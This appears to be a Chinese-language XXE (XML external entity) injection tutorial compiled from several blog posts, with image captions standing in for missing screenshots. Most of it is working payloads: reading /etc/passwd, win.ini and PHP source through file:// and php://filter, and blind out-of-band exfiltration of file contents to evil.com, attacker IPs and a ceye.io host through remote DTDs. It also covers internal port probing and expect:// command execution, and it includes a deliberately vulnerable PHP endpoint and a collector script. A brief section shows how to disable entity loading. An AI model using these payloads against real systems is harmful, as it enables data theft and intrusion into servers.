    <!ENTITY test SYSTEM "1.xml">

    有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE Anything [

    <!ENTITY entityex SYSTEM "file:///etc/passwd">

    ]>

    <abc>&entityex;</abc>

    在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。

      假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)

    (4)参数实体

    参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:

    <!ENTITY % 实体名称 "实体的值">

    或者

    <!ENTITY % 实体名称 SYSTEM "URI">

    参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。
    即下面实例,参数实体 在DOCTYPE内 ,其他实体在外

    <!DOCTYPE a [
    <!ENTITY % name SYSTEM “file:///etc/passwd”>
    %name;
    ]>

    参数实体在DTD中解析优先级高于xml内部实体

    实体相当于变量 “file:///etc/passwd”赋值给name

    先写一段简单的xml利用代码,以php为例子:

    <?php

    $data = file_get_contents('php://input');

    $xml = simplexml_load_string($data);

    echo $xml->name;

    ?>

    echo $xml->name;中->name可以任意更改。

    如下所示:

    XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

    参数实体的示例:

    <!ENTITY 实体名称 "实体的值">

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE root [

    <!ENTITY % param1 "<!ENTITY internal 'http://evil.com'>">

    %param1;

    ]>

    <root>

    <test>[This is my site] &internal;</test>

    </root>

    如:

    <!ENTITY % aaa "233">

    参数实体param1中包含内部实体的声明,用于替代<test>标签中的实体引用参数。

    这里,一定要注意流程,参数实体在DTD中解析是优先于XML文本中的内部实体解析。

    参数实体有几个特性,这几个特性也决定了它能被利用的程度:

    l  只能在DTD内部 

    l  立即引用

    l  实体嵌套

    (5)内部实体

    内置实体为预留的实体,如:

    实体引用字符

    &lt;          <

    &gt;            >

    &amp;          &

    &quot;          "

    &apos;          '

    而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

    关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 &#37;  如下:

    <!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'

    &#37;也可写为16进制&#x25;

    另:内部实体的这支持与否也是取决于解释器的,参考链接4

    (6)命名实体+外部实体写法

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE root [
    <!ENTITY dtd SYSTEM "http://localhost:88/evil.xml">
    ]> 
    <value>&dtd;</value>

    这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多

    (7)第一种命名实体+外部实体+参数实体写法

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE data [
    <!ENTITY % file SYSTEM "file:///c://test/1.txt">
    <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
    %dtd; %all; 
    ]> 
    <value>&send;</value>

    其中evil.xml文件内容为

     <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

    调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send

    (8)第二种命名实体+外部实体+参数实体写法

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
    <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
    %dtd;
    %send;
    ]>
    <root></root>

    其中evil.xml文件内容为:

    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

    调用过程和第一种方法类似

    5.XML中的协议支持

    上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

    6.xxe注入定义

    XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。XML定义了两种类型的ENTITY,一种在XML文档中使用

    若是在PHP中,libxml_disable_entity_loader设置为TRUE可禁用外部实体注。入另一种作为参数在DTD文件中使用。ENTITY的定义语法:

    <!DOCTYPE  文件名 [

    <!ENTITY  实体名 "实体内容">

    ]>

    定义好的ENTITY在文档中通过“&实体名;”来使用。举例:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE booklist [

    <!ENTITY publisher "ABC company">

    ]>

    <booklist>

    <book>

    <name>Ajax</name>

    <price>$5.95</price>

    <description>Foundations of Ajax.</description>

    <publisher>&publisher;</publisher>   这里的&publisher;会被“ABC company”替换

    </book>

    <book>

    <name>Ajax Patterns</name>

    <price>$7.95</price>

    <description>Introduction of Ajax Patterns.</description>

    <publisher>&publisher;</publisher>  这里的&publisher;会被“ABC company”替换

    </book>

    </booklist>

    在 XML 中有 5 个预定义的实体引用:

    &lt;

    小于

    &gt;

    大于

    &amp;

    &

    和号

    &apos;

    '

    省略号

    &quot;

    "

    引号

    注释:严格地讲,在 XML 中仅有字符 "<"和"&" 是非法的。省略号、引号和大于号是合法的,但是把它们替换为实体引用是个好的习惯。

    7.XXE漏洞原理

    既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

    那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

    ###XML注入简单利用

    构造本地xml接口,先包含本地xml文件,查看返回结果,正常返回后再换为服务器。

    1.任意文件读取

    payload如下:

    <?xml version="1.0" encoding="utf-8"?> 

    <!DOCTYPE xxe [

    <!ELEMENT name ANY>

    <!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]>

    <root>

    <name>&xxe;</name>

    </root>

    读取aa.txt的内容:

    XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

    2.探测sql盲注

    一般在漏洞挖掘中我们是猜测不到<root></root>里面是name标签的。所以我们用另一种方法更靠谱:推荐网站:http://ceye.io/payloads

    找到网站上自带的XML注入利用代码:

    XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

    稍微整理下生成payload如下:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE root [

    <!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test">

    %remote;]>

    <root/><?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE root [

    <!ENTITY % remote SYSTEM "http://9j4jd9.ceye.io/xxe_test">

    %remote;]>

    <root/>

    看下现在是几点钟:

    XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

     晚上八点多钟,我们复制payload发送请求:

    XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

    看下网站里面自带的日志功能:

    XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

    应该是时间延迟问题。反正相差十分钟以内!

    这里接收到我们的payload请求说明是存在XML注入的,用这种方法测试XML注入我感觉很好

    1.可以无限制盲打

    2.测试简单方便不需要很繁琐测试猜测

    3.探测内网地址

    payload如下:

    <?xml version="1.0" encoding="utf-8"?> 

    <!DOCTYPE xxe [

    <!ELEMENT name ANY>

    <!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>

    <root>

    <name>&xxe;</name>

    </root>

    成功探测到内网端口内部信息。

    XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

     

    我这是在windows下测试,假如是linux下还可以命令执行:

    在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

    测试payload:

    <?xml version="1.0" encoding="utf-8"?> 

    <!DOCTYPE xxe [

    <!ELEMENT name ANY >

    <!ENTITY xxe SYSTEM "expect://ifconfig" >]>

    <root>

    <name>&xxe;</name>

    </root>

    这里读取系统命令ifconfig读取ip

     

     

    4.防御XML注入攻击

    方案:使用开发语言提供的禁用外部实体的方法

    1.PHP:

    libxml_disable_entity_loader(true);

    2.JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

    dbf.setExpandEntityReferences(false);

    3.Python:

    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

     

     

    ### xxe注入攻击

    1.XXE攻击概述

    XML外部实体(XXE)攻击是许多基于注入的攻击方式之一,当攻击者将声明XML消息中的外部实体发送到应用程序并使用XML解析器解析时,就会发生这种攻击。这个漏洞有许多不同的类型和行为,因为它可能会发生在不同类型的技术中—因为不同类型的XML解析器的原因。在这种情况下,令人高兴的是,每个解析器具有不同的功能和“特征”。

    在我们开始之前,让我们先认识下可能面临的最常见的XXE漏洞类型—了解这些漏洞类型将有助于我们调试攻击并创建最终正确的POC:

    1.基础的XXE注入— 外部实体注入本地DTD

    2.基于盲注的XXE注入—XML解析器在响应中不显示任何错误

    3.基于错误的XXE注入—成功解析之后,XML解析器始终显示SAME响应。(即“您的消息已被接收”),因此,我们可能希望解析器将文件的内容“打印”到错误响应中。

     

    2.基础的XXE注入

    按照上一个概述,我们可以通过使用SYSTEM标识符来引用外部实体的数据。所以现在我们可以引入XXE注入的第一种技术,它将外部实体注入到包含引用本地文件路径(如/ etc / passwd)的SYSTEM标识符的XML文档中:

     

    现在让我们做一个更复杂和更严重的攻击:

    如果作为通用功能的一部分,应用程序服务器没有作出回应呢?(记得刚刚提到的基于错误的XXE吗?)

    如果我们想从其中具有XML特殊字符的外部源读取数据呢?如果在解析过程中解析失败呢?

    这时我们可以加载引用我们的远程服务器并尝试从其URL获取内容的辅助外部DTD—这可以是一组字符,或下面的示例转储文件,最重要的是它甚至没有经过XML模式验证过程,因为它在解析器甚至获取远程内容之前发送!

    例如,远程DTD文件—包含带有SYSTEM标识符和“file”处理程序的参数实体。请注意,参数实体“file”也连接到实体“send”内的URL:

    解析DTD后,我们得到以下实体:

    6

    7

    最终,服务器会尝试以文件内容发送参数“c”所指定的内容,到达我们定义的URL—我们记录该内容,并通过这样做来转储文件的内容:

    步骤A:

     

    步骤B: — 远程DTD正在解析。我们正在窃取文件的内容...

    步骤C:

     

    我们成功得到文件内容!

    用这种技术记住的几件事情:

    文件内容中的字符“#”将导致URL截断。

    如果我们使用“or”定义参数实体,内容可能会中断。

    这取决于我们使用的是哪种(所以请确保在出现错误的情况下同时使用这两种测试场景)。

     

    3.基于错误的XXE注入

     

    有时候,当解析过程成功时,当我们从服务器得到通用的响应时,我们可能希望服务器返回详细错误—因此,我们可以使用与远程DTD相同的技术,但会发生故意的错误如:

     

    解析器将尝试解析DTD并访问发送实体中给出的路径,但是由于不能到达“my-evil-domain。$$$$ ”,我们将导致以下错误:

     

    然后我们就可以根据信息调试我们自己的payload!# 安全脉搏 https://www.secpulse.com/archives/58915.html

    请注意,由服务器响应的任何错误显示哪一行导致解析错误,同时出现语法错误,有时我们可能会使用此信息来调试我们自己的payload,使用“\ n”。例如:

    <!DOCTYPE Author[ \ n
    <!ENTITY %% intentate_error_here“test”>]> \ n

    包含payload的两个额外的“\ n”会在第一行“\ n”之后的第2行中出现错误,而其余的XML内容将会显示在第3行。

    总之,XXE是一个非常强大的攻击,它允许我们操纵错误的XML解析器并利用它们。请注意,有更多的技术和攻击利用方式可以通过XXE注入完成。如前所述,每个解析器都有不同的能力,因此我们可以提出不同的漏洞:

     

     

    此表由研究员Timothy Morgan提供—这些协议可用于上传文件(jar:// ..),在旧版本Java中允许任意数据通过TCP连接(gopher:// ..),阅读PHP源代码查看PHP的处理方式。

    自己尝试下载我们的演示实验室,可以在这里下载!该演示包含一个带有XML有效载荷的.NET xml解析器和需要的远程DTD文件。

    4.基于盲注的XXE注入

    (1)Blind XXE用途

    对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

    提交请求:

    <!ENTITY file SYSTEM “file:///etc/passwd”>  

    <username>&file;</username> 

    服务器在这个节点中返回etc/passwd的文件内容:

    <username>root:1:3.......</username>  

    如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。

     (2)参数实体和内部参数实体

    Blink XXE主要使用了DTD约束中的参数实体和内部实体。

    参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

    如:

    <?xml version="1.0" encoding="UTF-8"?>  

    <!DOCTYPE root [  

    <!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">  

    %param1;  

    ]>  

    <root>  

    [This is my site] &internal;  

    </root>
    但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。

    IE/Firefox:

    Chrome:

    这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便。

    (3)bllind xxe

    如果目标服务器没有回显,就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其他形式去访问我们的服务器,然后在日志里就可以找到我们要获取的内容了。

    Blink XXE主要使用了DTD约束中的参数实体和内部实体。
    参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

    <?xml version="1.0"?>

    <!DOCTYPE ANY [

        <!ENTITY % hs SYSTEM "file:///C:/1.txt">

        <!ENTITY % remote SYSTEM "http://xxx/xxx.xml">

        %remote;

        %all;

    ]>

    <root>&send;</root>

    xxx.xml

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>">

    这里解释下,%remote; 会把外部文件引入到这个 XML 中,%all; 替换为后面的嵌套实体,这时再在 root 节点中引入 send 实体,便可实现数据转发。如果在 xxx.xml 中 send 实体是参数实体的话,也可以采用下面的形式。

    <?xml version="1.0"?>  

    <!DOCTYPE ANY[  

    <!ENTITY % file SYSTEM "file:///C:/1.txt">  

    <!ENTITY % remote SYSTEM "http://xxx/xxx.xml">  

    %remote;  

    %all;  

    %send;  

    ]>

    xxx.xml

    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx/x.php?hs=%hs;'>">

    l  原理说明

    对于传统的XXE来说,要求在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,例如上述方式一。

    如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据(Out-Of-Band)。

    但直接在内部实体定义中引用另一个实体的这种方法行不通

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE root [

    <!ENTITY % param1 "file:///c:/1.txt">

    <!ENTITY % param2 "http://127.0.0.1/?%param1">

    %param2;

    ]>

    最简单的无非是通过参数实体引用,发送一个http请求到我们服务器,然后观察我们服务的日志

     

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE root [

    <!ENTITY % remote SYSTEM "http://evil.com/blind_xxe_test">

    %remote;]>

    <root/>

    如果在服务日志上能接收到则说明存在漏洞

    于是考虑内部实体嵌套的形式:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE root [

    <!ENTITY % param1 "file:///c:/1.txt">

    <!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">

    %param2;

    ]>

    <root>

    [This is my site]

    </root>

     但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

    解决方案是:

    将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

    和引入方式三有些雷同,如下:

    src.xml

     

    <?xml version="1.0"?>

    <!DOCTYPE ANY[

    <!ENTITY % file SYSTEM "file:///C:/1.txt">

    <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">

    %remote;

    %all;

    ]>

    <root>&send;</root>•

    evil.xml

     

     <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">•

    实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。

    另外一种方法是使用CDATA,但是并非像wooyun文章说的那样可以读取任意值

     

    l  读任意文件

    php://filter/convert.base64-encode/resource=想要读取的文件路径

    l  java中的应用

    1.file:///可以列目录:

    2.OOB:

       gopher(1.7u7, 1.6u32以前|7u9 6u37以前 ?),配合nc;其他情况用ftp

    3.上传文件:

        需要进行长链接,通过jar协议(jar:http://127.0.0.1:2014/xxe.jar!/)

        https://github.com/pwntester/BlockingServer 

    4.ftp oob:

    在jdk 1.6.35 以上,可以读取tomcat-users,如果管理页面不删,版本如果高于前述情况,也应该能读取

     

    注意:1.6.31以下是不行的,因此结合文件上传和gopher协议来看,基于tomcat成功的getshell,主要因素在于jdk版本,成功的范围很小

    5.读XML标签及属性值

    前提是内部需要设置 factory.setValidating(true)

    例1:读取属性值

    xml文档中的标签属性需通过ATTLIST为其设置属性
    语法格式:
    <!ATTLIST 元素名 属性名 属性值类型 默认值>

     <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE tomcat-users [

    <!ELEMENT role EMPTY>

    <!ELEMENT user EMPTY>

    <!ATTLIST user

     username (a|b) #REQUIRED

     password (a|b) #REQUIRED

    ]>

    <tomcat-users>

     <role rolename="tomcat"/>

     <user username="tomcat" password="tomcat" roles="tomcat"/>

    </tomcat-users>•

     java Xerces方法的解析结果为(其他解析方式不行):

    Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this.
    Error: URI=null Line=10: Element type "tomcat-users" must be declared.
    Error: URI=null Line=11: Attribute "rolename" must be declared for element type "role".
    Error: URI=null Line=12: Attribute "username" with value "tomcat" must have a value from the list "a b ".
    Error: URI=null Line=12: Attribute "password" with value "tomcat" must have a value from the list "a b ".
    Error: URI=null Line=12: Attribute "roles" must be declared for element type "user".

    实际运用时,是没办法解析tomcat-users.xml的文档的,因为会把 XML 声明代入而造成解析出错

    例2:定义标签顺序报错
    具体示例如下:
    首先建立DTD文件,文件名:person.dtd
    文件内容:

    <?xml version="1.0" encoding="utf-8" ?>

    <!ELEMENT person (name, sex, birthday)*>

    <!ELEMENT name (#PCDATA)>

    <!ELEMENT sex (#PCDATA)>

    <!ELEMENT birthday (#PCDATA)>•
    然后建立两个利用这个dtd文件的xml文件
    文件名:person.xml

    文件内容:

    <?xml version="1.0" encoding="UTF-8" ?>

    <!DOCTYPE person SYSTEM "person.dtd">

    <person>

        <name>tom</name>

        <sex>male</sex>

        <birthday>1949-10-01</birthday>

    </person>

    文件名:worker.xml
    文件内容:

    <?xml version="1.0" encoding="UTF-8" ?>

    <!DOCTYPE person SYSTEM "person.dtd">

    <person>

        <name>tom</name>

        <sex>male</sex>

        <birthday>1949-10-01</birthday>

        <job>it</job>

    </person>•
    我们可以看到worker.xml文件不符合dtd的规定,多了一个job的标签。
    然后建立java文件
    文件名:ValidateXMLDTD.java

     

    package xmlvalidate;

    import java.io.FileNotFoundException;

    import java.io.IOException;

    import javax.xml.parsers.DocumentBuilder;

    import javax.xml.parsers.DocumentBuilderFactory;

    import javax.xml.parsers.ParserConfigurationException;

    import org.xml.sax.SAXException;

     

    public class ValidateXMLDTD {

     public static void main(String[] args) {

    // System.out.println("测试符合DTD规范的XML文件");

    // testPerson();

    // System.out.println("测试不符合DTD规范的XML文件");

    // testWorkder();

     }

     public static void testPerson() {

     try {

     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

     dbf.setValidating(true);  //这里很重要

     DocumentBuilder db = dbf.newDocumentBuilder();

     db.parse(new java.io.FileInputStream("person.xml"));

     } catch (FileNotFoundException e) {

     // TODO Auto-generated catch block

     e.printStackTrace();

     } catch (ParserConfigurationException e) {

     // TODO Auto-generated catch block

     e.printStackTrace();

     } catch (SAXException e) {

     // TODO Auto-generated catch block

     e.printStackTrace();

     } catch (IOException e) {

     // TODO Auto-generated catch block

     e.printStackTrace();

     }

     }

     

     public static void testWorkder() {

     try {

     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

     dbf.setValidating(true);

     DocumentBuilder db = dbf.newDocumentBuilder();

     db.parse(new java.io.FileInputStream("worker.xml"));

     } catch (FileNotFoundException e) {

     // TODO Auto-generated catch block

     e.printStackTrace();

     } catch (ParserConfigurationException e) {

     // TODO Auto-generated catch block

     e.printStackTrace();

     } catch (SAXException e) {

     // TODO Auto-generated catch block

     e.printStackTrace();

     } catch (IOException e) {

     // TODO Auto-generated catch block

     e.printStackTrace();

     }

     }

    }•

     修改一下main方法中的注释语句,运行一下,执行结果:
    运行testPerson的时候,只输出:测试符合DTD规范的XML文件
    ,而运行testWorker的时候,输入如下内容:测试不符合DTD规范的XML文件
    Warning: validation was turned on but an org.xml.sax.ErrorHandler was not
    set, which is probably not what is desired.  Parser will use a default
    ErrorHandler to print the first 10 errors.  Please call
    the 'setErrorHandler' method to fix this.
    Error: URI=null Line=7: Element type "job" must be declared.
    Error: URI=null Line=8: The content of element type "person" must match "(name,sex,birthday)*"

     

     

     

    (4)测试

    【1.php】

     

    <?php  

    file_put_contents("1.txt", $_GET['file']) ;  

    ?>  

    【test.php】

     

    <?php  

    $xml=<<<EOF  

    <?xml version="1.0"?>  

    <!DOCTYPE ANY[  

    <!ENTITY % file SYSTEM "file:///C:/passwd.txt">  

    <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">  

    %remote;  

    %all;  

        %send;  

    ]>  

    EOF;  

    $data = simplexml_load_string($xml) ;  

    echo "<pre>" ;  

    print_r($data) ;  

    ?>  

    【evil.xml】

     

    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

    访问http://localhost/test.php, 这就是模拟攻击者构造XXE请求,然后存在漏洞的服务器会读出file的内容(c:/1.txt),通过带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

    攻击之后1.txt中的数据:

    攻击者服务器日志:

    (5)总结

    遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:

    (1)检测XML是否会被解析:

    <?xml version=”1.0” encoding=”UTF-8”?> 

     

    <!DOCTYPE ANY [ 

     

    <!ENTITY shit “this is shit”> 

     

    ]> 

     

    <root>&shit;</root>
     

    如果$shit;变成了”this is shit”,那就继续第二步。

    (2)检测服务器是否支持外部实体:

    <?xml version=”1.0” encoding=”UTF-8”?> 

     

    <!DOCTYPE ANY [ 

     

    <!ENTITY % shit SYSTEM “http://youhost/evil.xml”>

     

    %shit; 

     

    ]>
     

    通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。

    (3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

    (4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。

    5.XXE的几种外部引入方式

    当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    引入外部实体方式有多种,比如:

    (1)恶意引入外部实体方式一

    XML内容:

    (2)恶意引入外部实体方式二

    <!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.backlion.org/attack.dtd"> %d; ]>

    其中attack.dtd的内容为:

    <!ENTITY b SYSTEM "file:///etc/passwd">

    XML内容:

    DTD文件(evil.dtd)内容:

    (3)恶意引入外部实体方式三

    XML内容:

    DTD文件(evil.dtd)内容:

     另外,不同程序支持的协议不一样,

    上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

     

    ###xxe攻击利用

    准备一个有XXE漏洞的文件,如下:

    <?php
    $xml=file_get_contents("php://input");
    $data = simplexml_load_string($xml) ;
    echo "<pre>" ;
    print_r($data) ;//注释掉该语句即为无回显的情况
    ?>

    xxe利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行
    POC主要有:

    file:///path/to/file.ext
    http://url/file.ext
    php://filter/read=convert.base64-encode/resource=conf.php

    不同程序支持的协议不同
    QQ图片20170423182304.png

    1.任意文件读取

    任意读取的代码:

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xdsec [

    <!ELEMENT methodname ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

    <methodcall>

    <methodname>&xxe;</methodname>

    </methodcall>

    1).有直接回显的情况:可以看命名实体写法,根据实际情况替换相应代码利用即可,我本地测试照搬过来
    QQ图片20170423173040.png
    2).无回显的情况:可以看第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法
    第一种写法结果如图:QQ图片20170423173934.png
    c://test/1.txt文件内容为111111111,可以从apache的日志中看到

    ::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207

    如果把http://localhost:88/evil.xml替换为一个远程服务器的xml文件地址,即可在日志中看到我们想要获取的数据

    第二种写法结果如图:
    QQ图片20170423174639.png

    本地环境读取:

     

     

    该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

    另外,数据不回显就没有问题了吗?如下图,


     

    不,可以把数据发送到远程服务器,


     

    远程evil.dtd文件内容如下:


    触发XXE攻击后,服务器会把文件内容发送到攻击者网站

    基于file协议的XXE攻击

    XMLInject.php

    <?php

    # Enable the ability to load external entities

    libxml_disable_entity_loader (false);

     

    $xmlfile = file_get_contents('php://input');

    $dom = new DOMDocument();

     

    # http://hublog.hubmed.org/archives/001854.html

    # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值

    # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件

    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

     

    $creds = simplexml_import_dom($dom);

    $user = $creds->user;

    $pass = $creds->pass;

     

    echo "You have logged in as user $user";`?>

    file_get_content('php://input')接收post数据,xml数据
    XML.txt

     

    <?xml version="1.0" encoding="ISO-8859-1"?>

    <!DOCTYPE foo [

    <!ELEMENT foo ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

    <creds>

    <user>&xxe;</user>

    <pass>mypass</pass>`</creds>

    导致可以读出etc/passwd文件
    在使用file://协议时,有以下几种格式:

    file://host/path

    * Linux

     file:///etc/passwd

    *  Unix

     file://localhost/etc/fstab

     file:///localhost/etc/fstab

    *  Windows

     file:///c:/windows/win.ini

     file://localhost/c:/windows/win.ini

    * (下面这两种在某些浏览器里是支持的)

     file:///c|windows/win.ini

     file://localhost/c|windows/win.ini

    XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

     <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">

    ]>

    <root><foo>&content;</foo></root>

    基于netdoc的XXE攻击

    ==XML文档是用Java解析的话,可利用netdoc

    <?xml version="1.0"?>

    <!DOCTYPE data [

    <!ELEMENT data (#PCDATA)>

    <!ENTITY file SYSTEM "netdoc:/sys/power/image_size">

    ]>

    <data>&file;</data>

    读取本地文件:

    以php环境为例,index.php内容如下:

    <?php

    $xml=simplexml_load_string($_GET['xml']);

    print_r((string)$xml);

    ?>

    利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取h盘里的sky.txt。

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [<!ENTITY  file SYSTEM "file:///h://sky.txt">]>

    <root>&file;</root>

    将上述xml进行url编码后传进去,可以发现读取了sky.txt中的内容。

    注:

    如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

     

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [<!ENTITY  file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>

    <root>&file;</root>

    同样先经过url编码后再传入。

     

    2.内网信息探测

    借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息

    img

